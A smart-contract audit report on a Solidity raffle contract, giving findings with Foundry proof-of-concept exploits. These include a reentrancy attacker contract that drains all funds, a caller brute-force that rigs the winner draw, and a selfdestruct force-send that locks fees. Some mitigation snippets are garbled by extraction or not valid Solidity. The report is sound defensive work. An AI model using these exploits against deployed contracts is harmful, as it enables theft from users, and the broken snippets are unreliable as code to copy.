



PuppyRaffle Audit Report

Version 1.0

GushALKDev

Dec 28, 2025

PuppyRaffle Audit Report

GushALKDev

Dec 28, 2025

Prepared by: GushALKDev

Lead Security Researcher: - GushALKDev

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - [H-1] Executing a reentrancy attack from an external contract allows to drain all the ether deposited in the raffle.
 - [H-2] Weak on-chain randomness allows an attacker to influence the raffle winner and the minted puppy rarity.
 - [M-1] Looping through player array to check for duplicates in the `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants.

- [M-2] Fee accounting uses `uint64 totalFees` and truncates `fee`, which can overflow and lock withdrawals.
- [M-3] Using `address(this).balance == totalFees` makes `withdrawFees()` vulnerable to forced ETH and can lock fees.
- [L-1] Request `getActivePlayerIndex` through `PuppyRaffle::getActivePlayerIndex()` returns 0 both when the user is not in the array and when the user is the first player that entered on the raffle. The player might think they are not active.
- [L-2] `enterRaffle()` allows an empty `newPlayers` array.
- [L-3] Missing zero address checks for `feeAddress` can lead to lost fees.
- [L-4] `selectWinner()` does not follow a strict CEI / pull-payments pattern.
- [G-1] Several storage variables could be constants/immutable to reduce gas.
- [G-2] Cache `players.length` in loops to save gas.
- [I-1] Solidity pragma should be specific, not wide
- [I-2] Using Solidity 0.7.x misses built-in overflow checks and other safety improvements.
- [I-3] `selectWinner()` uses derived accounting instead of `address(this).balance` and can become inconsistent.
- [I-4] Magic numbers and magic strings reduce readability and increase risk of mistakes.
- [I-5] Missing events for important state changes.
- [I-6] Unused function `_isActivePlayer()` is dead code.
- [I-7] Test coverage is low.
- [I-8] Naming conventions for immutables / storage variables are inconsistent.
- [I-9] `fee` can be computed as `totalAmountCollected - prizePool` to reduce duplication.
- [I-10] `withdrawFees()` behavior and MEV considerations should be documented.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT.

Disclaimer

The Gush's team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash

```
1 2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

The review focused on the core raffle logic and its user-facing flows (enter, refund, winner selection, fees withdrawal).

In-scope files:

- `src/PuppyRaffle.sol`

Out of scope:

- Deployment scripts and infrastructure (`script/`, `Makefile`, CI, etc.)
- Third-party dependencies under `lib/` (assumed correct as imported)

Roles

- **Owner:** Can update `feeAddress` via `changeFeeAddress()`.
- **Players / Entrants:** Pay `entranceFee` to enter the raffle, can request refunds.
- **Winner:** Receives the prize pool and the NFT on `selectWinner()`.

- **Fee Recipient (`feeAddress`):** Receives protocol fees via `withdrawFees()`.
- **Block Producers / MEV Searchers:** Can influence block variables used as “randomness”.

Executive Summary

Issues found

The codebase is small but contains several high-impact issues in core fund-handling logic. The two most critical risks are (1) a reentrancy issue that can drain funds via `refund()`, and (2) predictable on-chain “randomness” that allows selection bias for winner and rarity. In addition, fee accounting and withdrawal logic can be DoSed and/or permanently locked under realistic conditions.

Severity	Number of issues found
High	2
Medium	3
Low	4
Gas	2
Info	10
Total	21

Findings

[H-1] Executing a reentrancy attack from an external contract allows to drain all the ether deposited in the raffle.

IMPACT: HIGH LIKELIHOOD: HIGH

Description: The function `PuppyRaffle::refund` can be attacked using reentrancy.

Impact: All contract funds can be drained executing reentrancy in the `PuppyRaffle::refund` function.

Proof of Concept:

If 100 users enters the raffle, and a malicious contract enters after and requests the refund executing reentrancy, all the funds will be drained.

- PuppyRaffle balance before attack: 100
- ReentrancyAttacker balance before attack: 1
- PuppyRaffle balance after attack: 0
- ReentrancyAttacker balance after attack: 101

PoC

Place the following test and contract at `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public {
2      ReentrancyAttacker reentrancyAttackerContract;
3      reentrancyAttackerContract = new ReentrancyAttacker(puppyRaffle
4          );
5      vm.deal(address(reentrancyAttackerContract), 1 ether);
6
7      // Let's enter 100 players
8      uint256 playersNumber = 100;
9      address[] memory players = new address[](playersNumber);
10     for (uint256 i = 0; i < playersNumber; i++) {
11         players[i] = address(i);
12     }
13
14     // Enter 100 players to the raffle
15     puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
16         players);
17
18     // Check balance before the attack
19     console.log("PuppyRaffle balance before attack:", address(
20         puppyRaffle).balance / 1e18);
21     console.log("ReentrancyAttacker balance before attack:",
22         address(reentrancyAttackerContract).balance / 1e18);
23     console.log("-----");
24
25     // Reentrancy attack contract starts the attack
26     reentrancyAttackerContract.attack();
27
28     // Check balance after attack
29     console.log("PuppyRaffle balance after attack:", address(
30         puppyRaffle).balance / 1e18);
31     console.log("ReentrancyAttacker balance after attack:", address
32         (reentrancyAttackerContract).balance / 1e18);
33     console.log("-----");
34
35     // Check the reentrancy attack count
36     console.log("Reentrancy attack count:",
37         reentrancyAttackerContract.attackCount());
38
39     assertEq(address(puppyRaffle).balance, 0);
```

```
33     assertEq(address(reentrancyAttackerContract).balance, 101 ether
34         );
35     }
36
37     contract ReentrancyAttacker {
38         PuppyRaffle puppyRaffleContract;
39         uint256 public entranceFee;
40         uint256 public playerIndex;
41
42         uint256 public attackCount;
43
44         constructor(PuppyRaffle _puppyRaffleContract) {
45             puppyRaffleContract = _puppyRaffleContract;
46             entranceFee = puppyRaffleContract.entranceFee();
47         }
48
49         function attack() public {
50             // Enter the raffle
51             address[] memory players = new address[](1);
52             players[0] = address(this);
53             puppyRaffleContract.enterRaffle{value: entranceFee}(players)
54                 ;
55             // Refund the entrance fee & start attack
56             playerIndex = puppyRaffleContract.getActivePlayerIndex(
57                 address(this));
58             puppyRaffleContract.refund(playerIndex);
59         }
60
61         function _stealMoney() internal {
62             attackCount++;
63             if (address(puppyRaffleContract).balance >= entranceFee) {
64                 puppyRaffleContract.refund(playerIndex);
65             }
66         }
67
68         receive() external payable {
69             _stealMoney();
70         }
71
72         fallback() external payable {
73             _stealMoney();
74         }
75     }
```

Recommended Mitigation: There are several ways to fix the reentrancy.

- Using CEI (Check - Effect - Interaction) Pattern.

```
1     function refund(uint256 playerIndex) public {
2         +         // Check
```

```
3     address playerAddress = players[playerIndex];
4     require(playerAddress == msg.sender, "PuppyRaffle: Only the
      player can refund");
5     require(playerAddress != address(0), "PuppyRaffle: Player
      already refunded, or is not active");
6
7 +     // Effect
8 -     payable(msg.sender).sendValue(entranceFee);
9 +     players[playerIndex] = address(0);
10
11 +     // Interaction
12 -     players[playerIndex] = address(0);
13 +     payable(msg.sender).sendValue(entranceFee);
14
15     emit RaffleRefunded(playerAddress);
16 }
```

- Using lock boolean as execution function condition.

```
1 +     boolean locked;
2     function refund(uint256 playerIndex) public {
3 +         require(!locked, "Reentrancy is locked");
4 +         locked = true;
5         address playerAddress = players[playerIndex];
6         require(playerAddress == msg.sender, "PuppyRaffle: Only the
          player can refund");
7         require(playerAddress != address(0), "PuppyRaffle: Player
          already refunded, or is not active");
8
9         payable(msg.sender).sendValue(entranceFee);
10
11         players[playerIndex] = address(0);
12
13         emit RaffleRefunded(playerAddress);
14 +         locked = false;
15     }
```

- Using Openzeppelin ReentrancyGuard Contract (<https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard>)

[H-2] Weak on-chain randomness allows an attacker to influence the raffle winner and the minted puppy rarity.

IMPACT: HIGH LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::selectWinner` uses predictable / manipulable on-chain values to generate randomness.

- Winner index RNG: `uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;`
- Rarity RNG: `uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;`

Because `msg.sender` is controlled by the caller and block values can be influenced by block producers, this RNG is not suitable for a fair raffle.

Impact: A motivated attacker (or a miner / builder / MEV searcher) can bias the selection, winning the prize pool more often than expected and also biasing the rarity distribution.

Proof of Concept:

When the raffle is drawable, the attacker can compute the outcome for different caller addresses (EOAs / smart wallets) and only call `selectWinner` from an address that results in the attacker being selected, or coordinate with a builder to include a favorable timestamp.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1      function test_weakRandomness_bruteforceCallerToPickWinner() public
2      {
3          // Deploy a fresh raffle with short duration
4          PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
5
6          // Enter 4 players, with the attacker at index 0
7          address attacker = address(1337);
8          address[] memory players = new address[](4);
9          players[0] = attacker;
10         players[1] = address(1);
11         players[2] = address(2);
12         players[3] = address(3);
13
14         vm.deal(address(this), 4 ether);
15         raffle.enterRaffle{value: 4 ether}(players);
16
17         // Make the raffle drawable
18         vm.warp(1_000);
19         // If your forge version supports it, fix difficulty to make
20         // this fully deterministic
21         // vm.difficulty(2);
22
23         // Brute force a caller address that results in winnerIndex ==
24         // 0
25         address caller;
26         for (uint256 i = 10; i < 10_000; i++) {
27             address candidate = address(uint160(i));
28             uint256 winnerIndex = uint256(
```

```
26         keccak256(abi.encodePacked(candidate, block.timestamp,
27             block.difficulty))
28         ) % 4;
29         if (winnerIndex == 0) {
30             caller = candidate;
31             break;
32         }
33     }
34     assertTrue(caller != address(0));
35     // Call selectWinner from the chosen caller
36     vm.prank(caller);
37     raffle.selectWinner();
38
39     assertEq(raffle.previousWinner(), attacker);
40 }
```

Recommended Mitigation: Use a verifiable randomness source (e.g. Chainlink VRF), or a commit-reveal scheme, and avoid using `block.timestamp/block.difficulty` as the sole randomness source.

High-level sketch (VRF / commit-reveal): ensure `selectWinner()` consumes an unbiased `randomWord` instead of locally-derived entropy.

```
1 -     uint256 winnerIndex =
2 -         uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp
3 +         , block.difficulty))) % players.length;
4 @@
5 -     uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
6 +         block.difficulty))) % 100;
7 +     uint256 rarity = uint256(keccak256(abi.encodePacked(randomWord,
8 +         tokenId))) % 100;
```

[M-1] Looping through player array to check for duplicates in the

PuppyRaffle::enterRaffle is a potential denial of service (DoS) attack, incrementing gas cost for future entrants.

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. However, the longer the `PuppyRaffle::players` is the more check a new player will have to make. This means that the gas cost for players who entry early will be dramatically lower than those who enter late. Every additional player entry in the array increase the gas cost of the transaction.

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be such:

- 1st 100 players: ~6503265 gas.
- 2nd 100 players: ~18995512 gas.

This is more than 3x time expensive for the second 100 players set.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1      function test_dniialOfService() public {
2          // Let's enter 100 players
3          uint256 playersNumber = 100;
4          address[] memory players = new address[](playersNumber);
5          for (uint256 i = 0; i < playersNumber; i++) {
6              players[i] = address(i);
7          }
8
9          // Set a non-zero gas price for this test
10         uint256 customGasPrice = 1 gwei;
11         vm.txGasPrice(customGasPrice);
12
13         // see how much gas it takes to enter 100 players
14         uint256 gasStart = gasleft();
15         puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
16             players);
17         uint256 gasEnd = gasleft();
18         uint256 gasUsed = gasStart - gasEnd;
19         uint256 gasCost = gasUsed * tx.gasprice;
20
21         console.log("Gas cost for 100 players:", gasCost / 1e9);
22
23         // Now for the second 100 players
24         address[] memory playersTwo = new address[](playersNumber);
25         for (uint256 i = 0; i < playersNumber; i++) {
26             playersTwo[i] = address(i + playersNumber);
27         }
28
29         // see how much gas it takes to enter 100 players
30         uint256 gasStartTwo = gasleft();
```

```
30     puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
        playersTwo);
31     uint256 gasEndTwo = gasleft();
32     uint256 gasUsedTwo = gasStartTwo - gasEndTwo;
33     uint256 gasCostTwo = gasUsedTwo * tx.gasprice;
34
35     console.log("Gas used for sencond 100 players:", gasCostTwo / 1
        e9);
36 }
```

Recommended Mitigation: There are few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 +   uint256 public raffleId;
2 +   mapping(address => uint256) public addressToRaffleId;
3
4   constructor(uint256 _entranceFee, address _feeAddress, uint256
    _raffleDuration) ERC721("Puppy Raffle", "PR") {
5       entranceFee = _entranceFee;
6       feeAddress = _feeAddress;
7       raffleDuration = _raffleDuration;
8       raffleStartTime = block.timestamp;
9
10      rarityToUri[COMMON_RARITY] = commonImageUri;
11      rarityToUri[RARE_RARITY] = rareImageUri;
12      rarityToUri[LEGENDARY_RARITY] = legendaryImageUri;
13
14      rarityToName[COMMON_RARITY] = COMMON;
15      rarityToName[RARE_RARITY] = RARE;
16      rarityToName[LEGENDARY_RARITY] = LEGENDARY;
17
18 +      raffleId = 1;
19   }
20
21   function enterRaffle(address[] memory newPlayers) public payable {
22       require(msg.value == entranceFee * newPlayers.length, "
        PuppyRaffle: Must send enough to enter raffle");
23 -       for (uint256 i = 0; i < newPlayers.length; i++) {
24 -           players.push(newPlayers[i]);
25 -       }
26       for (uint256 i = 0; i < players.length - 1; i++) {
27 -           for (uint256 j = i + 1; j < players.length; j++) {
28 -               require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
```

```
29 -     }
30 +     require(addressToRaffleId[newPlayers[i]] != raffleId, "
PuppyRaffle: Duplicate player");
31 +     players.push(newPlayers[i]);
32     }
33 }
34
35 function selectWinner() external {
36     require(block.timestamp >= raffleStartTime + raffleDuration, "
PuppyRaffle: Raffle not over");
37     require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
38     uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
sender, block.timestamp, block.difficulty))) % players.
length;
39     address winner = players[winnerIndex];
40     uint256 totalAmountCollected = players.length * entranceFee;
41     uint256 prizePool = (totalAmountCollected * 80) / 100;
42     uint256 fee = (totalAmountCollected * 20) / 100;
43     totalFees = totalFees + uint64(fee);
44
45     uint256 tokenId = totalSupply();
46
47     // We use a different RNG calculate from the winnerIndex to
determine rarity
48     uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100;
49     if (rarity <= COMMON_RARITY) {
50         tokenIdToRarity[tokenId] = COMMON_RARITY;
51     } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
52         tokenIdToRarity[tokenId] = RARE_RARITY;
53     } else {
54         tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
55     }
56
57     delete players;
58     raffleStartTime = block.timestamp;
59     previousWinner = winner;
60     (bool success,) = winner.call{value: prizePool}("");
61     require(success, "PuppyRaffle: Failed to send prize pool to
winner");
62     _safeMint(winner, tokenId);
63 +     raffleId++;
64 }
```

[M-2] Fee accounting uses uint64 totalFees and truncates fee, which can overflow and lock withdrawals.

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: In `PuppyRaffle::selectWinner` the fee is computed as `uint256 fee = (totalAmountCollected * 20) / 100`; but it is accumulated into `uint64 totalFees` via `totalFees = totalFees + uint64(fee)`;

This downcast truncates the upper bits and in Solidity 0.7.x arithmetic does not revert on overflow. If fees ever exceed `type(uint64).max`, `totalFees` will wrap and become incorrect.

Impact: Fee accounting becomes incorrect and `PuppyRaffle::withdrawFees()` can become permanently unusable, because it requires `address(this).balance == uint256(totalFees)`.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1      function test_totalFeesUint64Truncation_breaksWithdrawFees() public
2      {
3          // 10 ether entrance fee, 10 players => total 100 ether
4          // fee = 20 ether, which is > type(uint64).max (~18.4 ether)
5          PuppyRaffle raffle = new PuppyRaffle(10 ether, address(123), 0)
6          ;
7
8          address[] memory players = new address[](10);
9          for (uint256 i = 0; i < 10; i++) {
10             players[i] = address(uint160(i + 1));
11         }
12
13         vm.deal(address(this), 100 ether);
14         raffle.enterRaffle{value: 100 ether}(players);
15
16         // Draw winner (duration = 0)
17         raffle.selectWinner();
18
19         // Contract should hold exactly 20 ether in fees
20         assertEq(address(raffle).balance, 20 ether);
21
22         // But totalFees is uint64 and was truncated/wrapped
23         uint256 trackedFees = uint256(raffle.totalFees());
24         assertTrue(trackedFees != 20 ether);
25
26         // withdrawFees() now reverts because balance != totalFees
27         vm.expectRevert();
28         raffle.withdrawFees();
29     }
```

Recommended Mitigation:

Change `totalFees` to `uint256` and remove the downcast.

```
1 -      uint64 public totalFees = 0;
2 +      uint256 public totalFees = 0;
3 @@
4 -      uint256 fee = (totalAmountCollected * 20) / 100;
5 -      totalFees = totalFees + uint64(fee);
6 +      uint256 fee = (totalAmountCollected * 20) / 100;
7 +      totalFees = totalFees + fee;
```

If storage packing is desired, enforce a hard cap (revert if `fee` would not fit into `uint64`) and document it.

[M-3] Using `address(this).balance == totalFees` makes `withdrawFees()` vulnerable to forced ETH and can lock fees.

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: `PuppyRaffle::withdrawFees()` assumes the contract balance equals the tracked fees:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

However, ETH can be forced into a contract. This breaks the equality check.

Impact: If any extra ETH is present, the fees can become permanently stuck (cannot be withdrawn) even when there are no active players.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1      contract ForceSend {
2          constructor() payable {}
3          function boom(address payable to) external {
4              selfdestruct(to);
5          }
6      }
7
8      function test_forcedEth_breaksWithdrawFeesInvariant() public {
9          PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
10
11          address[] memory players = new address[](4);
12          players[0] = address(1);
13          players[1] = address(2);
14          players[2] = address(3);
15          players[3] = address(4);
```

```
16
17     vm.deal(address(this), 4 ether);
18     raffle.enterRaffle{value: 4 ether}(players);
19     raffle.selectWinner();
20
21     // Fee should be 0.8 ether (fits in uint64)
22     assertEq(address(raffle).balance, 0.8 ether);
23
24     // Force-send 1 wei to break the strict equality check
25     ForceSend fs = new ForceSend{value: 1}();
26     fs.boom(payable(address(raffle)));
27
28     assertEq(address(raffle).balance, 0.8 ether + 1);
29     vm.expectRevert();
30     raffle.withdrawFees();
31 }
```

Recommended Mitigation:

Gate withdrawals with raffle state (`players.length == 0`) instead of strict balance equality.

```
1  function withdrawFees() external {
2  -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
3  +   require(players.length == 0, "PuppyRaffle: There are currently
    players active!");
4     uint256 feesToWithdraw = totalFees;
5     totalFees = 0;
6     // slither-disable-next-line arbitrary-send-eth
7     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
8     require(success, "PuppyRaffle: Failed to withdraw fees");
9 }
```

Optionally: keep explicit accounting and ensure withdrawals do not depend on strict `address(this).balance == totalFees` equality.

[L-1] Request `getActivePlayerIndex` through `PuppyRaffle::getActivePlayerIndex()` returns 0 both when the user is not in the array and when the user is the first player that entered on the raffle. The player might think they are not active.

Description: If the first player request their player index, they will get 0, on the same way that if they are not participating.

Impact: The player might think they are not participating in the raffle.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1     function test_getFirstActivePlayerIndex() public {
2         address[] memory players = new address[](1);
3         players[0] = playerOne;
4         puppyRaffle.enterRaffle{value: entranceFee}(players);
5         uint256 firstActivePlayer = puppyRaffle.getActivePlayerIndex(
6             playerOne);
7         uint256 noActivePlayer = puppyRaffle.getActivePlayerIndex(
8             playerTwo);
9         // Player one is the first active player
10        assertEq(puppyRaffle.players(0), playerOne);
11        // The returned index for active player1 is 0
12        assertEq(firstActivePlayer, 0);
13        // The returned index for non-active player2 is 0
14        assertEq(noActivePlayer, 0);
15    }
```

Recommended Mitigation:

- Return a pair of values (uint256 index, bool found)

```
1 -     function getActivePlayerIndex(address player) external view returns
2 +     function getActivePlayerIndex(address player) external view returns
3         (uint256, bool) {
4         for (uint256 i = 0; i < players.length; i++) {
5             if (players[i] == player) {
6                 return i;
7                 return (i, true);
8             }
9         }
10        return 0;
11        return (0, false);
12    }
```

[L-2] `enterRaffle()` allows an empty `newPlayers` array.

Description: If `newPlayers.length == 0`, the check becomes `require(msg.value == 0)` and the function emits `RaffleEnter(newPlayers)` without adding players.

Impact: Users can spam events cheaply and downstream indexers/UIs might treat this as a valid raffle entry.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function test_enterRaffle_allowsEmptyArrayAndZeroValue() public {
2     PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
3
4     address[] memory empty = new address[](0);
5
6     // With an empty array, msg.value == entranceFee * 0 == 0
7     // This call succeeds but does not add any players.
8     raffle.enterRaffle{value: 0}(empty);
9 }
```

Recommended Mitigation: Add a non-empty check.

```
1 function enterRaffle(address[] memory newPlayers) public payable {
2 +     require(newPlayers.length > 0, "PuppyRaffle: newPlayers array must
   not be empty");
3     require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle
   : Must send enough to enter raffle");
4     for (uint256 i = 0; i < newPlayers.length; i++) {
5         players.push(newPlayers[i]);
6     }
7 }
```

[L-3] Missing zero address checks for feeAddress can lead to lost fees.

Description: Both the constructor and `changeFeeAddress()` allow `feeAddress = address(0)`.

Impact: Fees can be sent to the zero address (effectively burned).

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function test_feeAddressZero_burnsWithdrawnFees() public {
2     // Deploy with feeAddress = address(0)
3     PuppyRaffle raffle = new PuppyRaffle(1 ether, address(0), 0);
4
5     address[] memory players = new address[](4);
6     players[0] = address(1);
7     players[1] = address(2);
8     players[2] = address(3);
9     players[3] = address(4);
10
11     vm.deal(address(this), 4 ether);
12     raffle.enterRaffle{value: 4 ether}(players);
13     raffle.selectWinner();
14 }
```

```
15     uint256 zeroBefore = address(0).balance;
16     raffle.withdrawFees();
17
18     // 20% of 4 ether = 0.8 ether is sent to address(0)
19     assertEq(address(0).balance, zeroBefore + 0.8 ether);
20 }
```

Recommended Mitigation: Add `address(0)` checks in both constructor and `changeFeeAddress()`.

```
1  constructor(uint256 _entranceFee, address _feeAddress, uint256
   _raffleDuration) ERC721("Puppy Raffle", "PR") {
2      entranceFee = _entranceFee;
3  +   require(_feeAddress != address(0), "PuppyRaffle: feeAddress cannot
      be zero");
4      feeAddress = _feeAddress;
5      raffleDuration = _raffleDuration;
6      raffleStartTime = block.timestamp;
7  }
8  @@
9  function changeFeeAddress(address newFeeAddress) external onlyOwner {
10 +   require(newFeeAddress != address(0), "PuppyRaffle: feeAddress
      cannot be zero");
11     feeAddress = newFeeAddress;
12     emit FeeAddressChanged(newFeeAddress);
13 }
```

[L-4] `selectWinner()` does not follow a strict CEI / pull-payments pattern.

Description: `selectWinner()` transfers ETH using `winner.call{value: prizePool}("")` which executes arbitrary code on the winner.

Impact: Harder to reason about and increases attack surface.

Proof of Concept:

PoC

Place the following test and helper contract into `PuppyRaffleTest.t.sol`.

```
1  contract ReenteringWinner {
2      PuppyRaffle raffle;
3      constructor(PuppyRaffle _raffle) {
4          raffle = _raffle;
5      }
6
7      receive() external payable {
8          // Re-enter during payout: become the first player of the *
           next* raffle
```

```
9         address[] memory players = new address[] (1);
10         players[0] = address(this);
11         raffle.enterRaffle{value: raffle.entranceFee()}(players);
12     }
13 }
14
15 function test_selectWinner_externalCallAllowsReentryIntoEnterRaffle
16 () public {
17     PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
18     ReenteringWinner rw = new ReenteringWinner(raffle);
19
20     // Enter 4 players including the reentering contract
21     address[] memory players = new address[] (4);
22     players[0] = address(rw);
23     players[1] = address(1);
24     players[2] = address(2);
25     players[3] = address(3);
26
27     vm.deal(address(this), 4 ether);
28     raffle.enterRaffle{value: 4 ether}(players);
29
30     // Pick a caller address that makes winnerIndex == 0 (so rw
31     // wins)
32     address caller;
33     vm.warp(1_000);
34     for (uint256 i = 10; i < 10_000; i++) {
35         address candidate = address(uint160(i));
36         uint256 winnerIndex = uint256(
37             keccak256(abi.encodePacked(candidate, block.timestamp,
38                 block.difficulty))
39             ) % 4;
40         if (winnerIndex == 0) {
41             caller = candidate;
42             break;
43         }
44     }
45     assertTrue(caller != address(0));
46
47     vm.prank(caller);
48     raffle.selectWinner();
49
50     // Even though selectWinner() deletes players, rw re-enters
51     // during payout and adds itself back
52     // so the next raffle starts with rw already entered.
53     assertEq(raffle.players(0), address(rw));
54 }
```

Recommended Mitigation: Use pull-payments for prize claims or apply a strict CEI flow.

If keeping push-payments, prevent re-entry into `enterRaffle()` while a winner is being selected.

```
1 +   bool private selectingWinner;
2 @@
3   function enterRaffle(address[] memory newPlayers) public payable {
4 +   require(!selectingWinner, "PuppyRaffle: selecting winner");
5     require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
      Must send enough to enter raffle");
6   @@
7   function selectWinner() external {
8 +   selectingWinner = true;
9     require(block.timestamp >= raffleStartTime + raffleDuration, "
      PuppyRaffle: Raffle not over");
10  @@
11    _safeMint(winner, tokenId);
12 +   selectingWinner = false;
13  }
```

[G-1] Several storage variables could be constants/immutable to reduce gas.

Description:

- `raffleDuration` is set once and never changed; it can be `immutable`.
- `commonImageUri`, `rareImageUri`, `legendaryImageUri` are literals; they can be `constant` to avoid storage reads.

Impact: Lower deployment and runtime gas costs.

Recommended Mitigation: Convert eligible variables to `constant/immutable`.

[G-2] Cache `players.length` in loops to save gas.

Description: In `enterRaffle()` the duplicate check reads `players.length` repeatedly.

Impact: Extra gas per loop iteration.

Recommended Mitigation: Cache `uint256 playersLength = players.length`; before iterating.

[I-1] Solidity pragma should be specific, not wide

Description:

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0`; use `pragma solidity 0.8.0`;

```
1 pragma solidity ^0.7.6;
```

[I-2] Using Solidity 0.7.x misses built-in overflow checks and other safety improvements.

Description: The project uses `pragma solidity ^0.7.6;`. Solidity 0.8.x introduces checked arithmetic by default and other improvements.

Impact: Increased risk of silent overflows and harder auditing.

Recommended Mitigation: Upgrade to Solidity 0.8.x (and update dependencies) or use SafeMath everywhere.

[I-3] `selectWinner()` uses derived accounting instead of `address(this).balance` and can become inconsistent.

Description: The contract uses `uint256 totalAmountCollected = players.length * entranceFee;`.

This can diverge from the real balance due to refunds, forced ETH, or other edge cases.

Impact: Miscomputed prize/fees, or incorrect assumptions in later logic.

Recommended Mitigation: Use `address(this).balance` for payout calculations, or maintain explicit accounting that updates on enter/refund.

[I-4] Magic numbers and magic strings reduce readability and increase risk of mistakes.

Description: 80/20/100 payout constants and repeated rarity/name strings are embedded inline.

Impact: Higher maintenance risk.

Recommended Mitigation: Introduce named constants (e.g. `PRIZE_POOL_PERCENTAGE`, `FEE_PERCENTAGE`, `POOL_PRECISION`) and keep string literals as constants.

[I-5] Missing events for important state changes.

Description: `selectWinner()` and `withdrawFees()` perform key actions (winner selection, fee withdrawal) without emitting events.

Impact: Harder off-chain monitoring, indexing, and debugging.

Recommended Mitigation: Emit events such as `WinnerSelected(winner, tokenId, prizePool, fee)` and `FeesWithdrawn(feeAddress, amount)`.

[I-6] Unused function `_isActivePlayer()` is dead code.

Description: `_isActivePlayer()` is not used.

Impact: Maintenance overhead.

Recommended Mitigation: Remove it or use it where intended.

[I-7] Test coverage is low.

Description: The test suite does not cover several edge cases (randomness manipulation assumptions, fee accounting, forced ETH, etc.).

Impact: Bugs can ship unnoticed.

Recommended Mitigation: Add tests for accounting invariants and adversarial scenarios.

[I-8] Naming conventions for immutables / storage variables are inconsistent.

Description: Many Solidity style guides recommend prefixes like `i_` for immutables and `s_` for storage variables to make audits easier.

Impact: Readability only.

Recommended Mitigation: Adopt a consistent naming convention (optional).

[I-9] fee can be computed as `totalAmountCollected - prizePool` to reduce duplication.

Description: `selectWinner()` computes both `prizePool` and `fee` using constants. `fee` can be derived as `totalAmountCollected - prizePool`.

Impact: Readability only.

Recommended Mitigation: Compute `fee = totalAmountCollected - prizePool` (optional).

[I-10] `withdrawFees()` behavior and MEV considerations should be documented.

Description: The current implementation prevents fee withdrawal while players are active (and relies on a balance invariant). This affects when fees can be withdrawn and can be relevant in MEV/operational contexts.

Impact: Operational clarity.

Recommended Mitigation: Document the intended fee withdrawal policy and ensure the checks match that policy.